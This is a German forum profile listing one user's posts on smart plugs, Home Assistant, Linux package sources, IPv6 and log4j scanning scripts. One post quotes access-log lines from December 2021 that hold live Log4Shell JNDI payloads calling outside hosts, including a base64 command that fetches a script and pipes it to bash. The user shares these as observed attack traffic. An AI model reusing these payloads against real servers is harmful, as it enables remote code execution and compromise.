Nun noch eine "Sende über Matrix eine Pushnachricht wenn 15 Minuten Stromverbrauch < 10 Watt" Automation in Home Assistant bauen und fertig. ![]()
Beiträge von perryflynn
-
-
Code
$ curl --silent -H 'Token: XXXXXXXXXXXXXXXXX' http://192.168.13.101/report | jq { "power": 0, "Ws": 0, "relay": false, "temperature": 23.4 }https://api.mystrom.ch/#982cf1bb-c873-4f62-b3c2-1cdfa51e1afe
Der will zwar ziemlich penetrant, dass man so eine komische App nutzt, aber spannt auch nen WIFI auf zur Einrichtung und hat dann nen WebUI / die API zum einrichten.
-
Hmmm Rest schön und gut, aber bin da eher für bidirektionale APIs
Hat doch Callbacks. Siehe die Implementierung in Home Assistant.
-
Die Frage ist doch eher: Kann man das aus seiner Cloud befreien?
Sieht für mich nicht so aus als ob das überhaupt Cloud macht. Das Ding hat ne lokale REST API.
-
Hat schon mal jemand die hier getestet?
https://www.amazon.de/dp/B07GQKPDRW/
WLAN, Schaltbar, Hardware Schalter, Watt-Sensor, Raumtemperatur Sensor, drei Tast-Modes zum automatisieren von Dingen.
-
Du weißt ja nicht, was da beim jeweiligen Nutzer noch so alles an zusätzlichen Paketquellen in der sources.list mit drin ist.
Genau.
Dein Post liest sich wie eine Anleitung für Anfänger. Jemand mit Erfahrung wird sowas nicht machen. Aber man schaue sich nur die ganzen "Es ist kaputt und ich hab nichts gemacht" Posts im Forum an.
Und wenn dort von anderen Paketen weitere Fremdquellen hinzugefügt wurden, kann es darin Enden, dass da nen Docker (oder MongoDB, oder NodeJS) auf dem Server läuft, welches keine Updates mehr bekommt. Und wenn man sich zum Beispiel das Thema log4j der letzten Wochen anschaut: Um so komplexer der Software Stack um so wichtiger sind semi-automatisierte Updates.
-
Sorry, dass mag für Dich vielleicht die Lösung gewesen sein, aber für viele andere wird dies ein Sicherheitsproblem schaffen oder im schlimmsten Fall sogar das System zerkloppen.
- Was wenn der User eine andere Ubuntu Version einsetzt? -> Ungewolltes Upgrade/Downgrade oder Bumm
- Was wenn der User nicht Ubuntu sondern Debian einsetzt? -> Bumm
- Was wenn dadurch Paketquellen entfernt werden, die benötigt werden? -> Installierte Pakete werden nicht mehr mit Updates versorgt.
Viel Interessanter wäre die genaue Fehlermeldung gewesen.
-
an Stelle von sort sollte es select in Zeile 6 heissen;
Nope, man könnte sich vielleicht über den Sinn bzw Unsinn des sort unterhalten, aber nen select gehört da nicht hin.
-
und gleich noch zwei fragen.
warum begrenzt du das auf ext3|4?
Weil ich auf diversen Servern ein 130TB NAS eingebunden habe, was nicht 100 mal gescannt werden muss/soll. Für MacOS gibts einen Meta-fstype der "local" heißt. Den gibts unter Linux leider nicht, weswegen es auf ext3/4 zu begrenzen erstmal am einfachsten war. Gerne weitere fstypes ergänzen.
warum steckst du das nicht in ein repo? (dann könnte man g'scheit mitarbeiten)
-
JAR=$(echo "${JAR}" | tr -d '[:space:]')
damit löschst du leerzeichen in file/dir-namen?!Ah stimmt. Sollte eigentlich nur vom Anfang und Ende trimmen. Ist gefixt.
-
Falls es jemand genau wissen will: Folgende Scripte schauen in ALLE jar files rein und suchen nach log4j Packages/Classes. Da man ein java Programm ja in ein riesiges jar Package zusammenschnüren kann, reicht es nicht nach den log4j Dateien zu suchen:
-
Cool. Die Medien haben angefangen Open Source Software dafür zu blamen, was gerade bei log4j passiert. Weil... natürlich bauen Unternehmen wie SAP und Co viel viel bessere und sichere Software. Schließlich kostet die ja auch Geld. Da muss diese ja besser sein.
-
Externer Inhalt www.youtube.comInhalte von externen Seiten werden ohne Ihre Zustimmung nicht automatisch geladen und angezeigt.Durch die Aktivierung der externen Inhalte erklären Sie sich damit einverstanden, dass personenbezogene Daten an Drittplattformen übermittelt werden. Mehr Informationen dazu haben wir in unserer Datenschutzerklärung zur Verfügung gestellt.
-
Code
Alles anzeigen45.155.205.233 - - [10/Dec/2021:15:04:53 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}" 45.155.205.233 - - [10/Dec/2021:15:04:55 +0100] "GET /index.html HTTP/1.1" 200 5155 "https://116.203.16.95:443/" "${jndi:ldap://45.155.205.233:12344/ Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}" 188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}" 188.166.92.228 - - [10/Dec/2021:16:51:56 +0100] "GET /index.html HTTP/1.1" 200 5155 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-http-callback-scheme}" 188.166.92.228 - - [10/Dec/2021:16:51:57 +0100] "GET /favicon.ico HTTP/1.1" 200 2734 "-" "${jndi:http://134.209.163.248/callback/https-port-443-and-h ttp-callback-scheme}" 147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}" 147.182.169.254 - - [10/Dec/2021:18:00:11 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:80/callback/ldap2}" 68.183.198.247 - - [10/Dec/2021:19:08:00 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}" 68.183.198.247 - - [10/Dec/2021:19:08:01 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:ldap://134.209.163.248:389/callback/responder}" 161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET / HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}" 161.35.155.230 - - [10/Dec/2021:19:46:08 +0100] "GET /favicon.ico HTTP/1.1" 400 264 "-" "${jndi:rmi://134.209.163.248:80/Z}" 45.155.205.233 - - [10/Dec/2021:20:02:17 +0100] "GET / HTTP/1.1" 302 0 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMTYuMjAzLjE2Ljk1OjQ0Myl8YmFzaA==}"Da sind sie.
-
Und heute gehen die Grüße raus an alle Minecraft Server Betreiber...
https://twitter.com/cyb3rops/status/1469343827228086278
... und natürlich an alle die sonst Java Applications mit dem Internet reden lassen.
-
vom Router aus gesteuert werden
und genau da scheitert es ...
Genau. Das fehlt mir halt, weil die IP Vergabe entweder durch SLAAC oder durch den DHCP vom Provider stattfindet. (Ganz hab ichs noch nicht verstanden.) Und dadurch die klassischen Mechaniken die ich sonst mit dhcpd + bind9 + ddns habe fehlen.
Ansonsten wäre es absolut kein Problem DNS Updates an meinen öffentlichen Primary zu schicken.
-
Diese Worte fassen gefühlt komplett zusammen warum sich IPv6 allgemein so schwer tut. IPv4 ist einfach und sind alle gewohnt und der Mensch ist ein Gewohnheitstier und so weiter. An vielen Ecken und Kanten müsste man Zeug umstellen, anders denken, mehr konfigurieren, ... da haben dann viele keinen Bock drauf.
Das ist ja nur die halbe Wahrheit. Mein Zeug funktioniert einfach nicht, solange das IPv6 Prefix dynamisch ist. Und auf jeden Client/Server jetzt nen DynDNS Client zu packen ist IMHO Wahnsinn.
-
Einfach nicht ärgern/wundern, dass ist schon seit 10 Jahren so.
-
Wenns ohne Spieltrieb auch geht kannste Dir auch die Lampen von IKEA Tradfri holen.
Da funktionieren Dimmer und Lampen auch ohne eine IP-Bridge.
Man kann aber auch entweder die hauseigene Bridge oder einen beliebigen Zigbee Stick (zB Conbee II) zum Einbinden in Home Assistent und ähnliches benutzen. MQTT ist dafür nicht unbedingt notwenig.
-
Check_MK Alerts via Signal Messenger:
https://serverless.industries/2021/12/05/che…ifications.html